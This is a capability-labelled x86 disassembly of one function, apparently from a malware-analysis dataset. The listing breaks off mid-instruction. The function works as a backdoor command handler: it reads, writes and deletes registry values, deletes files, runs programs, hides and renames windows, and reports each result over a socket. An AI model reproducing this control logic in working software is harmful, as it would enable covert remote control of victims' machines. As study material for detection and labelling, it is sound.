Function at 0x4082cc
Capabilities:
Create process on windows
Create thread
Delete file
Hide graphical window
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x5c
push 0
push 0
dec ecx
jne 0x4082d4
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404abc
mov ebx, dword [0x41a6ac]
xor eax, eax
push ebp
push 0x4097b0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x408333
mov byte [0x42c04c], 1
lea eax, [ebp - 0x128]
call fcn.0040817c
mov edx, dword [ebp - 0x128]
lea eax, [ebp - 0x124]
mov ecx, 0xff
call fcn.004048a8
mov byte [0x42c04c], 0
jmp 0x408346
lea eax, [ebp - 0x124]
mov edx, dword [ebp - 4]
mov ecx, 0xff
call fcn.004048a8
lea eax, [ebp - 0x228]
push eax
mov ecx, 2
mov edx, 1
lea eax, [ebp - 0x124]
call fcn.00402b1c
lea edx, [ebp - 0x228]
lea eax, [ebp - 0x10]
call fcn.00404870
lea eax, [ebp - 0x228]
push eax
xor ecx, ecx
mov cl, byte [ebp - 0x124]
mov edx, 3
lea eax, [ebp - 0x124]
call fcn.00402b1c
lea edx, [ebp - 0x228]
lea eax, [ebp - 0x14]
call fcn.00404870
mov eax, dword [ebp - 0x10]
mov edx, 0x4097c4
call fcn.00404a18
jne 0x4083d8
lea eax, [ebp - 0xc]
mov ecx, 0x4097d0
mov edx, dword [ebp - 0x10]
call fcn.00404918
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x4097e0
call fcn.00404a18
jne 0x408429
push dword [ebp - 0x10]
lea eax, [ebp - 0x22c]
call fcn.00407fd4
push dword [ebp - 0x22c]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x4097f8
call fcn.00404a18
jne 0x40847a
push dword [ebp - 0x10]
lea eax, [ebp - 0x230]
call fcn.00407f54
push dword [ebp - 0x230]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409804
call fcn.00404a18
jne 0x40878b
lea eax, [ebp - 0x234]
call fcn.00407fd4
mov eax, dword [ebp - 0x234]
mov edx, 0x409810
call fcn.00404a18
je 0x4084e8
lea eax, [ebp - 0x238]
call fcn.00407fd4
mov eax, dword [ebp - 0x238]
mov edx, 0x409820
call fcn.00404a18
je 0x4084e8
lea eax, [ebp - 0x23c]
call fcn.00407fd4
mov eax, dword [ebp - 0x23c]
mov edx, 0x409830
call fcn.00404a18
jne 0x40863c
push dword [ebp - 0x10]
push 0x409840
lea eax, [ebp - 0x240]
push eax
mov ecx, 0x409858
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x240]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x4098a8
lea eax, [ebp - 0x244]
push eax
mov ecx, 0x4098c8
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x244]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x4098e4
lea eax, [ebp - 0x248]
push eax
mov ecx, 0x4098fc
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x248]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409910
lea eax, [ebp - 0x24c]
push eax
mov ecx, 0x40992c
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x24c]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409944
lea eax, [ebp - 0x250]
push eax
mov ecx, 0x409958
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x250]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x40878b
push dword [ebp - 0x10]
push 0x409840
lea eax, [ebp - 0x254]
push eax
mov ecx, 0x409858
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x254]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x4098a8
lea eax, [ebp - 0x258]
push eax
mov ecx, 0x4098c8
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x258]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x4098e4
lea eax, [ebp - 0x25c]
push eax
mov ecx, 0x4098fc
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x25c]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409910
lea eax, [ebp - 0x260]
push eax
mov ecx, 0x40992c
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x260]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409944
lea eax, [ebp - 0x264]
push eax
mov ecx, 0x409958
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x264]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x4099a0
call fcn.00404a18
jne 0x4087fb
push dword [ebp - 0x10]
push 0x4099ac
lea edx, [ebp - 0x268]
xor eax, eax
call fcn.00402d24
push dword [ebp - 0x268]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x4099c4
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x4099d8
call fcn.00404a18
jne 0x408a90
lea eax, [ebp - 0x26c]
call fcn.00407fd4
mov eax, dword [ebp - 0x26c]
mov edx, 0x409810
call fcn.00404a18
je 0x408869
lea eax, [ebp - 0x270]
call fcn.00407fd4
mov eax, dword [ebp - 0x270]
mov edx, 0x409820
call fcn.00404a18
je 0x408869
lea eax, [ebp - 0x274]
call fcn.00407fd4
mov eax, dword [ebp - 0x274]
mov edx, 0x409830
call fcn.00404a18
jne 0x40897f
push dword [ebp - 0x10]
push 0x4099e4
lea eax, [ebp - 0x278]
push eax
mov ecx, 0x4099fc
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x278]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a10
lea eax, [ebp - 0x27c]
push eax
mov ecx, 0x409a28
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x27c]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a3c
lea eax, [ebp - 0x280]
push eax
mov ecx, 0x409a60
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x280]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a80
lea eax, [ebp - 0x284]
push eax
mov ecx, 0x409a9c
mov edx, 0x409870
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x284]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
jmp 0x408a90
push dword [ebp - 0x10]
push 0x4099e4
lea eax, [ebp - 0x288]
push eax
mov ecx, 0x4099fc
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x288]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a10
lea eax, [ebp - 0x28c]
push eax
mov ecx, 0x409a28
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x28c]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a3c
lea eax, [ebp - 0x290]
push eax
mov ecx, 0x409a60
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x290]
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.0040498c
push dword [ebp - 0xc]
push 0x4097ec
push dword [ebp - 0x10]
push 0x409a80
lea eax, [ebp - 0x294]
push eax
mov ecx, 0x409a9c
mov edx, 0x40996c
mov eax, 0x80000002
call fcn.0040731c
push dword [ebp - 0x294]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409ab4
call fcn.00404a18
jne 0x408b38
push dword [ebp - 0x10]
push 0x409ac0
lea eax, [ebp - 0x298]
call fcn.00407d0c
push dword [ebp - 0x298]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
push 0x46
call sub.kernel32.dll_Sleep
push dword [ebp - 0x10]
push 0x409ad4
lea eax, [ebp - 0x29c]
call fcn.00407d98
push dword [ebp - 0x29c]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409ae8
call fcn.00404a18
jne 0x408b8e
push dword [ebp - 0x10]
lea edx, [ebp - 0x2a0]
mov eax, 1
call fcn.004077e0
push dword [ebp - 0x2a0]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409af4
call fcn.00404a18
jne 0x408be4
push dword [ebp - 0x10]
push 0x409b00
lea eax, [ebp - 0x2a4]
call fcn.00407b54
push dword [ebp - 0x2a4]
push 0x4097ec
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040498c
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409b14
call fcn.00404a18
jne 0x408c58
lea edx, [ebp - 0x2a8]
mov eax, dword [ebp - 0x14]
call fcn.0040799c
mov eax, dword [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x2ac]
call fcn.00407d0c
lea eax, [ebp - 0x2ac]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2ac]
pop eax
call fcn.00407900
lea eax, [ebp - 0xc]
mov edx, 0x409b34
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409b48
call fcn.00404a18
jne 0x408cb7
mov eax, dword [ebp - 0x14]
call fcn.00404acc
push eax
call sub.kernel32.dll_DeleteFileA
test eax, eax
je 0x408c8b
lea eax, [ebp - 0xc]
mov ecx, 0x409b54
mov edx, dword [ebp - 0x10]
call fcn.00404918
jmp 0x408c9b
lea eax, [ebp - 0xc]
mov ecx, 0x409b60
mov edx, dword [ebp - 0x10]
call fcn.00404918
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409b6c
call fcn.00404a18
jne 0x408d23
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00404acc
push eax
push 0x409b70
push 0
call sub.shell32.dll_ShellExecuteA
test eax, eax
jne 0x408cf7
lea eax, [ebp - 0xc]
mov ecx, 0x409b54
mov edx, dword [ebp - 0x10]
call fcn.00404918
jmp 0x408d07
lea eax, [ebp - 0xc]
mov ecx, 0x409b60
mov edx, dword [ebp - 0x10]
call fcn.00404918
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409b80
call fcn.00404a18
jne 0x408f45
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00404b2c
mov eax, dword [ebp - 0x18]
mov edx, 0x409b98
call fcn.00404a18
jne 0x408dd0
lea eax, [ebp - 0x2b0]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000000
call fcn.00407424
mov eax, dword [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x2b4]
call fcn.00407d0c
lea eax, [ebp - 0x2b4]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2b4]
pop eax
call fcn.00407900
mov eax, dword [ebp - 0x18]
mov edx, 0x409bb4
call fcn.00404a18
jne 0x408e23
lea eax, [ebp - 0x2b8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000001
call fcn.00407424
mov eax, dword [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x2bc]
call fcn.00407d0c
lea eax, [ebp - 0x2bc]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2bc]
pop eax
call fcn.00407900
mov eax, dword [ebp - 0x18]
mov edx, 0x409bd0
call fcn.00404a18
jne 0x408e76
lea eax, [ebp - 0x2c0]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000002
call fcn.00407424
mov eax, dword [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x2c4]
call fcn.00407d0c
lea eax, [ebp - 0x2c4]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2c4]
pop eax
call fcn.00407900
mov eax, dword [ebp - 0x18]
mov edx, 0x409bec
call fcn.00404a18
jne 0x408ec9
lea eax, [ebp - 0x2c8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000003
call fcn.00407424
mov eax, dword [ebp - 0x2c8]
push eax
lea eax, [ebp - 0x2cc]
call fcn.00407d0c
lea eax, [ebp - 0x2cc]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2cc]
pop eax
call fcn.00407900
mov eax, dword [ebp - 0x18]
mov edx, 0x409c00
call fcn.00404a18
jne 0x408f1c
lea eax, [ebp - 0x2d0]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000005
call fcn.00407424
mov eax, dword [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x2d4]
call fcn.00407d0c
lea eax, [ebp - 0x2d4]
mov edx, 0x409b20
call fcn.004048d4
mov edx, dword [ebp - 0x2d4]
pop eax
call fcn.00407900
lea eax, [ebp - 0xc]
mov edx, 0x409c1c
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409c30
call fcn.00404a18
jne 0x4090aa
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x1c]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00404b2c
mov eax, dword [ebp - 0x18]
mov edx, 0x409b98
call fcn.00404a18
jne 0x409005
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000000
call fcn.00407514
mov eax, dword [ebp - 0x18]
mov edx, 0x409bb4
call fcn.00404a18
jne 0x409024
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000001
call fcn.00407514
mov eax, dword [ebp - 0x18]
mov edx, 0x409bd0
call fcn.00404a18
jne 0x409043
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000002
call fcn.00407514
mov eax, dword [ebp - 0x18]
mov edx, 0x409bec
call fcn.00404a18
jne 0x409062
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000003
call fcn.00407514
mov eax, dword [ebp - 0x18]
mov edx, 0x409c00
call fcn.00404a18
jne 0x409081
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000005
call fcn.00407514
lea eax, [ebp - 0xc]
mov edx, 0x409c3c
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409c48
call fcn.00404a18
jne 0x40920f
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x1c]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00404b2c
mov eax, dword [ebp - 0x18]
mov edx, 0x409b98
call fcn.00404a18
jne 0x40916a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000000
call fcn.004075a0
mov eax, dword [ebp - 0x18]
mov edx, 0x409bb4
call fcn.00404a18
jne 0x409189
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000001
call fcn.004075a0
mov eax, dword [ebp - 0x18]
mov edx, 0x409bd0
call fcn.00404a18
jne 0x4091a8
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000002
call fcn.004075a0
mov eax, dword [ebp - 0x18]
mov edx, 0x409bec
call fcn.00404a18
jne 0x4091c7
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000003
call fcn.004075a0
mov eax, dword [ebp - 0x18]
mov edx, 0x409c00
call fcn.00404a18
jne 0x4091e6
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000005
call fcn.004075a0
lea eax, [ebp - 0xc]
mov edx, 0x409c54
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409c60
call fcn.00404a18
jne 0x4093cf
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x1c]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 0x20]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x20]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x20]
pop edx
call fcn.00404b2c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0x20]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x20]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00404b2c
mov eax, dword [ebp - 0x18]
mov edx, 0x409b98
call fcn.00404a18
jne 0x40931a
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000000
call fcn.00407628
mov eax, dword [ebp - 0x18]
mov edx, 0x409bb4
call fcn.00404a18
jne 0x40933d
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000001
call fcn.00407628
mov eax, dword [ebp - 0x18]
mov edx, 0x409bd0
call fcn.00404a18
jne 0x409360
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000002
call fcn.00407628
mov eax, dword [ebp - 0x18]
mov edx, 0x409bec
call fcn.00404a18
jne 0x409383
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000003
call fcn.00407628
mov eax, dword [ebp - 0x18]
mov edx, 0x409c00
call fcn.00404a18
jne 0x4093a6
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov eax, 0x80000005
call fcn.00407628
lea eax, [ebp - 0xc]
mov edx, 0x409c6c
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409c78
call fcn.00404a18
jne 0x409440
lea eax, [ebp - 0x2d8]
call fcn.00407d0c
lea eax, [ebp - 0x2d8]
mov edx, 0x409c84
call fcn.004048d4
mov eax, dword [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x2dc]
call fcn.00407160
mov eax, dword [ebp - 0x2dc]
pop edx
call fcn.00407900
lea eax, [ebp - 0xc]
mov edx, 0x409c98
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409cac
call fcn.00404a18
jne 0x409480
mov eax, dword [ebp - 0x14]
call fcn.00407258
lea eax, [ebp - 0xc]
mov edx, 0x409cb8
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409cc4
call fcn.00404a18
jne 0x4094f1
lea eax, [ebp - 0x2e0]
call fcn.00407d0c
lea eax, [ebp - 0x2e0]
mov edx, 0x409cd0
call fcn.004048d4
mov eax, dword [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x2e4]
call fcn.0040714c
mov eax, dword [ebp - 0x2e4]
pop edx
call fcn.00407900
lea eax, [ebp - 0xc]
mov edx, 0x409ce4
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409cf8
call fcn.00404a18
jne 0x40958b
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00404b2c
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x409b8c
call fcn.00404bb4
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004048cc
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00404b2c
mov eax, dword [ebp - 0x1c]
call fcn.00404acc
push eax
mov eax, dword [ebp - 0x18]
call fcn.0040773c
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0xc]
mov edx, 0x409d04
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d10
call fcn.00404a18
jne 0x4095d3
push 0
mov eax, dword [ebp - 0x14]
call fcn.0040773c
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0xc]
mov edx, 0x409d1c
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d28
